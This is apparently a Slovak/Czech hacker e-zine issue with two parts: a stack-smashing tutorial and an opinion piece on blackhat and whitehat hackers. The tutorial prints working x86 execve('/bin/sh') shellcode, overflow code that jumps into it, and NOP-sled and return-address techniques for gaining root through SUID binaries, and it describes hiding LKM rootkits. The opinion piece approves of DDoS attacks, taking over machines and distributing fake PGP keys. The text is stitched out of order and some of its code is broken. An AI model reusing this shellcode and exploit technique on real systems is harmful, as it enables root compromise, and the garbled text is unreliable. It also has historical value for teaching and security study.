void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } /pr.0xb.1/Po kompilacii a spusteni horeuvedeny kod vrati segmentation fault. To sa stane preto, ze function() sa pokusa kopirovat large_string do buffer pomocou strcpy(), ktore nerobi kontrolu hranic. strcpy() jednoducho pokracuje so zapisovanim, pokial neskonci large_string. To ma za nasledok prepisanie SFP, RET and *str. Znazornenie:
+-----------------------+ +-----------------------+ |,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,| +-----------------------+ +-----------------------+ |.uzivatelsky.zasobnik..| |.uzivatelsky.zasobnik..| +-----------------------+ +-----------------------+ | *str | | strcpy() sa pokusi | +-----------------------+ | zapisat 256 bajtov do | | ret | ^ | do buffra,cim prepise | +-----------------------+ | | sftp, ret a *str. | | sfp | | | | +-----------------------+ | +-----------------------+ | buffer[16] | | | buffer[16] | | | | | | +-----------------------+ +-----------------------+ |.......heap............| |.......heap............| +-----------------------+ +-----------------------+ |,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,| +-----------------------+ +-----------------------+ pred zavolanim strcpy() po zavolani strcpy()Zapisanim retazca A-ciek (0x41 hexa) do, a cez zasobnik sa zmenila navratova adresa mimo rozsah adresneho priestoru procesu. Proces nemoze nacitat dalsiu instrukciu a preto je ukonceny s hlaskou Segmentation Fault.
Shell kod
Ako sme si ukazali v predchadzajucom odstavci, manipulaciou dynamicky alokovanych premennych
pomocou neohranicenych byte-copy operacii mozme spustit lubovonly kod cez navratovu adresu,
ktora je 'slepo' obnovena zo zasobniku pri odchode z funkcie. Ak to aplikujeme na SUID ROOT
binarku, utocnik si moze nechat spustit /bin/sh s pravami superuzivatela a ziska tak kontrolu
nad celym systemom. Samozrejme moze pouzit aj iny shell, ale /bin/sh sa nachadza vo vsetkych
UNIXovych systemoch a je predvoleny shell pre uzivatela root.
Aby sme dosiahli spustenie interaktivneho shellu, niekde v pamati sa musi nachadzat staticka
sekvencia spustenia /bin/sh, na ktoru bude ukazovat zmanipulovana navratova adresa.
To sa da dosiahnut pouzitim assemblerovskeho hexadecimalneho stringu, ktory je binarnym
ekvivalentom standartnej C funkcie execve(name[0], "/bin/sh", NULL). Samozrejme assemblerovsky
ekvivalent k tomuto volaniu je zavysli na architekture. Za pouzitia debugovacich nastrojov
je mozne rozdelit volanie ako execve(name[0], "/bin/sh", NULL) rozkuskovanim na jednotlive
ASCII assemblerovske sekvencie a ich ulozenim v znakovom poli alebo inej spojitej datovej forme.
Na Intel x86 stroji, na ktorom bezi Linux musime podniknut nasledujuce ktory na ziskanie shell kodu:
1. V pamati sa vyskytuje nulou zakonceny string /bin/sh
2. V pamati sa vyskytuje string /bin/sh zakonceny nulovym long-wordom
3. 0xb sa kopiruje do EAX registra
4. Adresa stringu /bin/sh sa zkopiruje do EBX registra
5. Adresa stringu /bin/sh sa zkopiruje do ECX registra
6. Adresa nuloveho long-wordu sa skopiruje do EDX registra
7. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch
8. 0x1 sa nakopiruje do EAX registra
9. 0x0 sa nakopiruje do EBX registra
a. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch
Tento zoznam sa da zapisat do x86 shell kodu pomocou standartneho ANSI C znakoveho pola:
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";Kombinacia prikladu buffer overflowu a shell kodu:
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; /* long_ptr obsahuje adresu large_stringu */ /* prvych 32 bajtov large_stringu je vyplnenych adresou buffra */ for( i = 0; i < 32; i++) *(long_ptr + i ) = (int) buffer; /* zkopiruj shell kod do large_stringu */ for( i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; /* buffer dostane shell kod a 32 pointerov spat na seba sameho */ strcpy(buffer,large_string); } /pr.0xc.1/Najprv je large_string vyplneny adresou buffra, ktora ukazuje na buducu poziciu v pamati, kde bude ulozena nas shell kod. Potom sa shell kod prekopiruje na zaciatok znakoveho pola large_string. Dalej strcpy() zkopiruje large_string do buffra, cim prepise navratovu adresu adresou shell kod sekvencie. Ked sa main() funkcia dokonci, program miesto navratu skoci na adresu nasho shell kodu a vykona ho. Vysledkom bude, ze dostanete interaktivny shell. Vpripade ze pouzivate napr. bash1, a tomu to testovaciemu programu nastavite SUID bit, interaktivny shell bude bezat s efektivnym uid euid(0).
+-----------------------+ +-----------------------+ |,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,| +-----------------------+ +-----------------------+ | uzivatelsky zasobnik | | uzivatelsky zasobnik | +-----------------------+ +-----------------------+ | ret | | o ^ ret | +-----------------------+ +-s--v--|---------------+ | sfp | | t e | sfp | +-----------------------+ +-r--r--|---------------+ /----- | long_ptr | | c f | long_ptr| | +-----------------------+ +-p--l--|---------------+ |(x32) | i | | y o | i | | +-----------------------+ +----w--|---------------+ | /-- | buffer | /-> | | buffer | | | +-----------------------+ | +-----------------------+ | \-> | | \-- | | | | | | | \----> | large_string[128] | | large_string[128] | | | | | /-> | | /-> | | | +-----------------------+ | +-----------------------+ \-- | shellcode[] | \-- | shellcode[] | | | | | +-----------------------+ +-----------------------+ |.......heap............| |.......heap............| +-----------------------+ +-----------------------+ |,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,| +-----------------------+ +-----------------------+ pred zavolanim strcpy() po zavolani strcpy() ; ret je prepisanyRealny stack smashing
V predchadzajucom pripade sme mali pre jednoduchost predkompilovany shell kod ako sucast programu. UNIXove SUID root aplikacie urcite nebudu obsahovat shell kod :) Aby sme ich mohli exploitovat, potrebujeme najst sposob ako vlozit shell kod do prostredia beziaceho programu. Mozme to spravit cez prikazovy riadok, premenne shelloveho prostredia, alebo cez interaktivny vstup. Velmi dolezite je vediet kde v pamati sa potom bude shell kod nachadzat, preto utocnici zvycajne vyplnaju shell kod s NULL argumentom (co v assembleri znamena no-operation, cize procesor jednoducho skoci na dalsiu instrukciu v poradi) co im zaisti sirsi priestor na 'trafenie' spravnej navratovej adresy. Takyto postup doplneny o kopec navratovych adries na konci shell kodu je najcastejsie pouzivany pri vytvarani stack smashing exploitov. V pripade ze obetou je maly program s obmedzenymi pametovymi narokmi, exploit sa zvykne ulozit do premennej prostredia.
Pisanie exploitov vyuzivajucich preplnenie zasobnika
Zopakujme si rozlozenie zasobniku:
+4 bajty | parametre ... | +-----------------------+ +4 bajty | navratova adresa | velkost 4 bajty +-----------------------+ SP | base pointer | velkost 4 bajty +-----------------------+ -1024 bajtov | lokalne pole2[1024] | velkost 1024 bajtov +-----------------------+ -2048 bajtov | lokalne pole1[1024] | +-----------------------+ | ... |Zopakujme si princip buffer overflowu:
+4 bajty | parametre ... | +-----------------------+ +4 bajty | 4 krat "X" | velkost 4 bajty +-----------------------+ SP | 4 krat "X" | velkost 4 bajty +-----------------------+ -1024 bajtov | 1024 krat "X" | velkost 1024 bajtov +-----------------------+ -2048 bajtov | lokalne pole1[1024] | +-----------------------+ | ... |Samozrejme sami zapisane data nebudu "X", ale take, aby navratova adresa bola prepisana adresou nasho shell kodu, ktory ma byt vykonany pri ukoncovani programu, ked sa zavola ret. Samozrejme shell kod sa musi nejako dostat do programu. Idealne je zapisat do pole2 shell kod, a nakoniec adresu tohto shell kodu. Napriklad takto:
+4 bajty | parametre ... | +-----------------------+ +4 bajty | adresa shell kodu | ---\ +-----------------------+ | SP | 4 nevyznamne bajty | | +-----------------------+ | -1024 bajtov | shell kod | <--/ +-----------------------+ -2048 bajtov | lokalne pole1[1024] | +-----------------------+ | ... |Takze teraz by sme potrebovali upravit nas shell kod, aby bol presne tak dlhy ako premenna, ktoru ideme prepisat, ba aj o cosi dlhsi ;-).
Priklad upravy x86 shell kodu:
#define lv_size=1024; /* dlzka premennej, na ktoru utocime */ char buffer[lv_size+8]; /* pozicia navratovej adresy */ /* execshell je pole s nasim shell kodom */ for(i=0;i<lv_size-strlen(execshell);i++) ptr[i]=0x90; for(i=0;i<strlen(execshell);i++) ptr[i+lv_size-strlen(execshell)]=execshell[i];Pripadne elegantnejsi sposob:
#define lv_size=1024 char buffer[lv_size+8] memset(ptr,0x90,lv_size-strlen(execshell)); ptr+=lv_size-strlen(execshell); for(i=0;i<strlen(execshell);i++) *(ptr++)=execshell[i];Pre ine platformy ma instrukcia NOP (0x90) iny opcode.
Ziskanie realnej adresy zasobnika
Adresu ukazatela na zasobnik pred nastavenim lokalnych premennych a navratovej adresy
nazvyme OSP - Original Stack Pointer.
K OSP pridame taky offset, aby CPU skocilo niekde do bloku nasich
Tento priklad zapisal navratovu adresu osem krat do zasobnika, takze aj v pripade ze adresa zasobnika
nebola presne urcena mame vacsiu sancu ze sa trafime. Nutno poznamenat ze na architekturach
kde stack roste od nizssich adres k vyssim musime adresu odcitat, tj. get_sp()-offset;
Moduly jadra
Moduly jadra (Hovori sa im tiez Loadable Kernel Modules [LKM]) po zavedeni do kernelu bezia
s maximalnymi privilegiami a to v rezii kernelu. Preto musime zabezpecit, aby obycajny uzivatel
nemal moznost vlozit do jadra nejaky modul, alebo aby nemohol pozmenit moduly ulozene v systeme.
Najdokonalejsie maskovacie nastroje pouzivane utocnikmi pouzivaju prave jadra v module, aby skryli
vybrane adresare/subory, sietove spojenia, md5-checksumy a procesy. Tak isto existuju moduly,
ktore prave naopak monitoruju nekale cinnosti v systeme a v pripade podozrenia na utok informuju
administratora a pripadne pokus o utok zastavia.
Maskovanie spociva v modifikacii systemovych volani na ich upravenu verziu v nasom module.
Aby sme zmodifikovali systemove volanie, pridame definiciu extern void *sys_call_table[] do
naseho lkm a pomocou init_module() funckie zmenime zodpovedajucu polozku v sys_call_table,
aby ukazovala na nas vlastny kod. Tymto si zabezpecime plnu kontrolu nad danym systemovym volanim
a vsetky programy, ktore ho vyuzivaju tym budu ovplyvnene.
Je teda jasne, ze takymto zasahom do jadra systemu je velmi obtiazne najst utocnika a dostat
ho zo servra von. Preto je dobre sa branit uz prevenciou a zabezpecenim samotneho jadra. Prevencia
moze byt napriklad aj vypnutie pouzivania modulov pri kompilacii jadra. Zial nasli sa uz aj
taky ludia, ktory prisli na to, ako modifikovat systemove volania v jadre, ktore nepouziva LKM.
To je uz ale mimo ramec tohto dokumentu (vid. prielom, resp. phrack).
Samotny modul sa moze maskovat tak, ze pri vypise /proc/modules sa vynecha. Da sa to ale jednoducho
obist napriklad pouzitim prikazu dd - dd if=/proc/modules bs=1. Samozrejme existuje mnoho dalsich
sposobov, ktore su sice zlozitejsie, ale poskytuju sluzbu dokonalejsieho maskovania.
Prikladny modul mozete najst v prilohe. Pochadza z Phrack52. Jeho hlavne crty:
Moduly, resp upravy jadra sa daju vyuzit aj ako velmi silna ochrana systemu. Takyto modul moze
strazit pristupy k jednotlivym suborom a zariadeniam, moze sledovat zmenu
privilegii jednotlivych uzivatelov a procesov.
Pouzita literatura:
Historia Unixu
Popis programatorskych chyb
Popis stack smashingu
Pisanie stack overflow exploitov
Ing. Zdenek Vratil - Architektura PC na bazi Pentia [1994]
maniac, maniac(at)localhost.sk, odborna korektura by sd(at)hysteria.sk a wilder wilder(at)hq.alert.sk
navrat na obsah
ackoli to tak muze vypadat, kdepak, toto nema nic spolecneho s modou, i kdyz pojem
"blackhat" a "whitehat" se dnes stavaji modernimi a dostavaji se do podvedomi
verejnosti. ja se tady jenom pokusim ujasnit co presne to znamena a vubec provest
ctenare "politickou slozkou" security sceny, vezmeme si tady na paskal
nejznamejsi jmena a sjedem je jako politiky v nejakem bulvarnim platku, ostatne proc
taky ne, zaslouzi si to. (tak me napada muze byt prielom bulvarni platek ?)
na uvod co to tedy znamena, nalepkou "whitehat" se povetsinou oznacuji lidi co
security rozumi a nebo alespon delaji ze security rozumi (theo de raadt, ron dufresne ...
;-), pisou security software, pripadne nalezene bugy v jinem softwaru okamzite
zverejnuji k velke a vseobecne radosti verejnosti. na druhe strane, blackhat je
nekdo kdo najde bug v nejakem softwaru, napise si na nej exploit a pouziva ho ke
vseobecne radosti sve. potud vsetko v poradku dokavad se nezacali dit _fakt_ spatne
veci se securityfocus, nasli se "security experti" jako iss (www.iss.net), o tom dale ;-) nuze
...
security firmy
remote shell bug v php (www.cert.org/advisories/CA-2002-21.html) - nalezen a uspesne exploitovan blackhat
slozkou skupiny
teso, nanestesti exploit byl leaknut script kiddo komunite, takze netrvalo dlouho a
spousta lidi "nasla" bug v php.
neni proto divu ze blackhat komunita (drtiva vetsina techto bugu pochazi prave
odsud) je na iss a jim podobne patricne nasrana, kdo by taky nebyl. iss si buduje
jmeno, postaveni a dokonce vydelava zavratne sumy na mnohdy mnohamesicni praci
nekoho jineho.
pr0j3kt m4yh3m
full disclosure
touto metodou se da naprosto zamezit dnesnimu script-kiddo ./hack-ovani. take by se
zlepsila dnesni situace na trhu it prace. muj jeden velmi dobry kamarad to skvele
definoval "kazda lopata dneska umi adminovat, tak to kde kdo rootne. no a pak si k
tomu sedne ta lopata ktera to rootla a jsme tam kde jsme byli". je to tak, hackovani
je dneska hrozne yzy, pro kohokoli, staci si natukat packetstormsecurity.org,
stahnout par latest exploitiku a hura. drive si to kazdej musel nakodit sam - a
rozhodne to bylo lepsi.
konec
ja sem si tento fakt uvedomil asi pred rokem, od te doby jakoukoliv svoji tvorbu
(krome trivialnich veci jako treba wuimapd) nepublikuju (krome pratel kterym opravdu
verim), at uz jde o exploity, nebo nove verze jednoho dnes velice rozsireneho linux
kernel rootkitu, tot me oficialni tiskove prohlaseni ;-p
mnozi si asi ted mysli ze whitehats & blackhats jsou uhlavni nepratele, no, neni to
tak vzdycky. whitehats ktery sem v predchozim textu oznacoval jako "security
experty" jsou mineni spise jako iss a jim podobni, kdezto realni whitehats jsou
autori vecinou kvalitniho softwaru jako treba openwall, ids, lids, medusa,
grsecurity, napriklad ja jakozto autor nekolika rootkitu a spender, jeden z autoru
grsecurity se normalne bavime o security zalezitostech ktere nas zajimaji, tj.
security na kernelove urovni vymenujeme si tipy a nebo si delame naschvaly, von
treba vymysli nejakou techniku ochrany a ja mu ji do druhyho dne obejdu a tak. to je
imho krasna ukazka jak spoluprace mezi obema stranama muze bejt produktivni.
reference sem davat nebudu, kdo bude chtit at si je najde sam nebo at se me primo
zepta.
poznamka:
sd, sd(at)hysteria.sk
navrat na obsah
+4 bajty | parametre ... |
+-----------------------+
+4 bajty | adresa OSP + offset | ---\
+-----------------------+ |
SP | 4 nevyznamne bajty | |
+-----------------------+ |
-1024 bajtov | [shell kod] | |
| [nop] | |
| [nop] | ---/ OSP + offset
| [nop] | -------\
| [nop] | | offset
| [...] | | vacsi
+-----------------------+ | ako
-2048 bajtov | lokalne pole1[1024] | | 1024
OSP -> +-----------------------+ -------/
| ... |
V tomto priklade sme mali pred premennou, ktoru sme modifikovali este jednu lokalnu premennu.
Offset k OSP teda musel byt vacsi ako dlzka tejto lokalnej premennej, aby sme ju preskocili.
Aby sme dostali adresu SP, pouzijeme funkciu get_sp(), jejiz portovatelna verze vypada zhruba takto:
function unsigned long get_sp(void)
{
int x;
return (unsigned long) &x;
}
Prvy Priklad zistenia SP:
/* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
ptr2=(long *)ptr;
*ptr2=get_sp()+offset;
Druhy (robustnejsi) priklad zistenia SP:
/* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
ptr2=(long *)ptr;
for(i=1;<8;i++)
*(ptr2++)=get_sp()+offset;
Existuju rozne balicky, ktore sa staraju o zabezpecenie (zatesnenie) linuxoveho jadra.
Ako priklad mozme uviest napriklad Medusa (SK), LIDS (FR) a RSBAC (DE).
Ich pristup k problemu je rozny, ale vysledkom je hlavne detailne rozdelenie pristupovych prav
k chulostivym castiam systemu a notifikacia vo vlastnej rezii, alebo cez unixovy klog/syslog.
http://cm.bell-labs.com/cm/cs/who/dmr/hist.html
http://www.english.uga.edu/hc/unixhistory.html
http://www.tuxedo.org
Natan P. Smith - Stack Smashing Vulnerabilities in the UNIX Operating System [1997] .ps
PALSMOID/THC iN 1996 - STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX
Hatch, Lee Kurtz - Linux, Hackerske Utoky [2002]
O'Reilly - Bezpecnost v UNIXu a Internetu v praxi [1998]
co ty na to ? board
cerne a bile klobouky
vypada to ze zacina realna kyberneticka valka mezi hackery, jak o ni mnozi
cyberpunkovy spisovatele snili. v poslednich dvou letech se security scena stala
natolik byznysem ze se do ni zacali cpat lide co jsou spise ekonomove nez
programatori. vzniklo spousty "security labu", jako hub po desti viz treba iss. u
iss je treba se na chvili zastavit - je to velice zajimava corporation jakozto
nedisponujici zadnymi schopnymi lidmy stale publikuje nove a nove bugy v masivne
pouzivanem softwaru, coz je nanejvis podezrele. nuze jak to je doopravdy:
apache chunking vulnerability (www.cert.org/advisories/CA-2002-17.html),
(opet teso - existuje funkcni exploit na solaris,
linux a *bsd, pro ty co nemohou spat - pouziva se hezka kombinace signalu a
scoreboard, gobbles napsal rychlejsi exploit vyuzivajici faktu ze memcpy() je
ekvivalent memmove() na *lsd) - tento bug byl po dobu asi pul roku privatni
zalezitost, ale pak o nem jeden z clenu skupiny teso (byl to zip, kompletne se
zdiskreditoval a kdokoli se snim odmita bavit, btw) rekl iss (zda-li za uplatu ci ne
nikdo netusi) a dalsi "profesionalni" security advisory od iss je na svete. v tuto
chvili iss inkasuje obrovske sumy za sve "enterprise security solutions" a v pojmu
"ty odbornici na sekjurity" jsou takrka fenomemem.
openssh 2.9-3.3 remote challenge remote root bug (www.cert.org/advisories/CA-2002-18.html) - nalezeno nekolika blackhat
skupinami nezavisle na sobe, po dlouhou dobu privatni zalezitost, bug je vicemene
nezajimavy ponevadz z hlediska defaultnich instalaci je napadnutelne opravdu jen
openbsd.
bind8 recursive query response bug (www.cert.org/advisories/CA-2002-31.htm) - asi rok stara zalezitost jednoho _velice_
schopneho clovicka z adm. tento bug a jeste nektere jine o kterych nechci a ani
nemuzu psat byli a jsou mimojine zneuzivany k infiltraci source ftp a cvs velice
zajimaveho softu ;-) btw, apache.org _melo_ backdoornute zdrojove .tar, ale jen na
dobu nekolika minut a do dneska to odmitaji priznat ;p), jak se dostal do paratu iss
je velice zajimava historie, ale zhruba to je tak ze adm ownulo pomoci tohoto bugu
jednomu "security expertovi" masinu, ktery si toho po nekolika dnech vsimnul (sakra,
to je nahoda) a nanestesti na teto siti bezel packet logger. a ponevadz na dane
masine krome dns nic jineho nebezelo, dali si 1+1 dohromady, udelala se analyza
paketu a z toho uz se dalo relativne usoudit kolik uhodilo.
je "odboj" proti tzv. "security expertum", ackoli nekteri lide to berou az moc na smrt
vazne a fanaticky (www.phrack.ru), s cim zase nesouhlasim, urcite existuji i korektnejsi cesty, ale
generalne je tato myslenka spravna. z predchoziho textu si asi kdekdo muze myslet ze
blackhat vs. whitehat je boj na zivot a na smrt, neni to zase tak drsny: pr0j3kt
m4yh3m se snazi zasahovat proti iss a jim podobnym, vzhledem k tomu kolik lidi se
toho ucastni, castecne se to i dari. poradaji se ddos utoky na scriptkiddie a
whitehat sajty (to delaji ti mene sikovni), ti vice sikovni primo ownujou stroje
interesantnich lidi. dela se psychologicky natlak (distribuovani fake pgp klicu do
velkych pgp klicenek, takze cilene osoby nemohou prilis dobre vyuzivat pgp), dela se
masova inpersonace aby se dane osoby zdiskreditovaly. delaji se masove dezinformace,
coz nekdy muze zpusobit komicke situace jako treba kdyz phc stvorilo ac1db1tch3z rumour
(a to velice jednoduchym spusobem - stacilo pastnout na #darknet@efnet fake banner
a domluvit se ostatnima lidma aby na /msg skriptkidacku odpovidali ze neco takoveho
existuje ;-)
doslo to tak daleko ze se toho chopilo nekolik chytraku a na mnoha prestiznich
konferencich, vcetne bugtraqu, tam o tom byl rozsahly thread kde vsichni ze vsech stran
rozebiraji zda-li opravdu existuje remote root linux kernel exploit ;p
ze je to spatne ? drogy jsou treba taky spatne - ale druha strana fronty to dela taky
viz. treba securityfocus kdyz posilali vlastni fake posty na bugtraq od stealtha
(teso), vrchol vseho byl kdyz jeden clovek poslal popis bugu na bugtraq a post byl
bloknut. dva dny na to se popis objevil na bugtraqu s hlavickou securityfocus!
(pozdeji sem zjistil ze pozmeneny email prisel platicim sf klientum jeste ten den).
protesty puvodniho autora jsou samozrejme vesele ignorovany a filtrovany ze vsech sf
konferenci.
v soucasne dobe se pr0j3ktu m4yh3m vice ci mene ucastni mnoho lidi, nekteri jsou
velice dobrymi odborniky ve svem oboru a kteri uz maji leccos za sebou.
neni zase tak idealni jak se vsude hlasa. zastavam nazor ze pokud je nekdo schopen
najit bug a exploitovat ho, bude zrejme natolik inteligentni ze tim nebude pusobit
mnoho skod. naproti tomu kdyz nekdo najde bug a okamzite ho zverejni (nejlepe jeste
s exploitem, a kdyz ne tak ho nekdo napise), script kiddies se pomejou a zacne
masove rootovani a defacovani, coz je spise kontraproduktivni. nevim proc se
opustilo od stareho postupu jez fungoval ve "starych dobrych casech", tj jeste pred
nekolika lety - kdyz nekdo nasel bug, nechal si to pro sebe, maximalne informoval
vendora. a az kdyz se dotycnej dostatecne vyradil a vendor vydal fixnutou verzi,
pockalo se nekolik mesicu az fixnutej release bude dostatecne roztrousen po svete a
pak se advisory teprve uverejnilo. dnes se to dela naopak, pravdepodobne aby bylo co
nejvice incidentu a iss melo vysokou klientelu, ale kdovi.
tomuhle konec jentak nejspis nebude, prognozy jsou ze se situace ma dale zhorsovat.
nastesti osveta je relativne rychla a lide v pozadi (tj. ty co nakonec ty bugy
najdou) co zivi cele to monstrum zvane "security industry" si zacinaji uvedomovat ze
jsou v podstate manipulovani a ze pachaji vice zla nez dobra.
informace v tomto textu jsou vicemene neuplne a dali by se spise oznacit jako spicka
ledovce. vychazeji z mnohaletych konverzaci na irc s nekolika stovkami lidi. uvedena
fakta a nazory, ackoli by mohla byt spravna, by nemela byt brana seriozne - jedna se
jednoduse o ciste osobni nazor autora. ucelem clanku neni nekoho varovat ci
zastrasovat aby nepodcenoval hackery (to by nemel delat tak ci onak, btw), ale spis
vysvetlit nektere nepochopitelne veci co se dnes deji. kazdopadne kdo se spoleha na
komercni security (nejsi nahodou klient securityfocus ? ;-) je zhruba tak o mesic az
pul roku pozadu. pozor na to. mozna vam prave ted nekdo ownuje masinu ;p
co ty na to ? board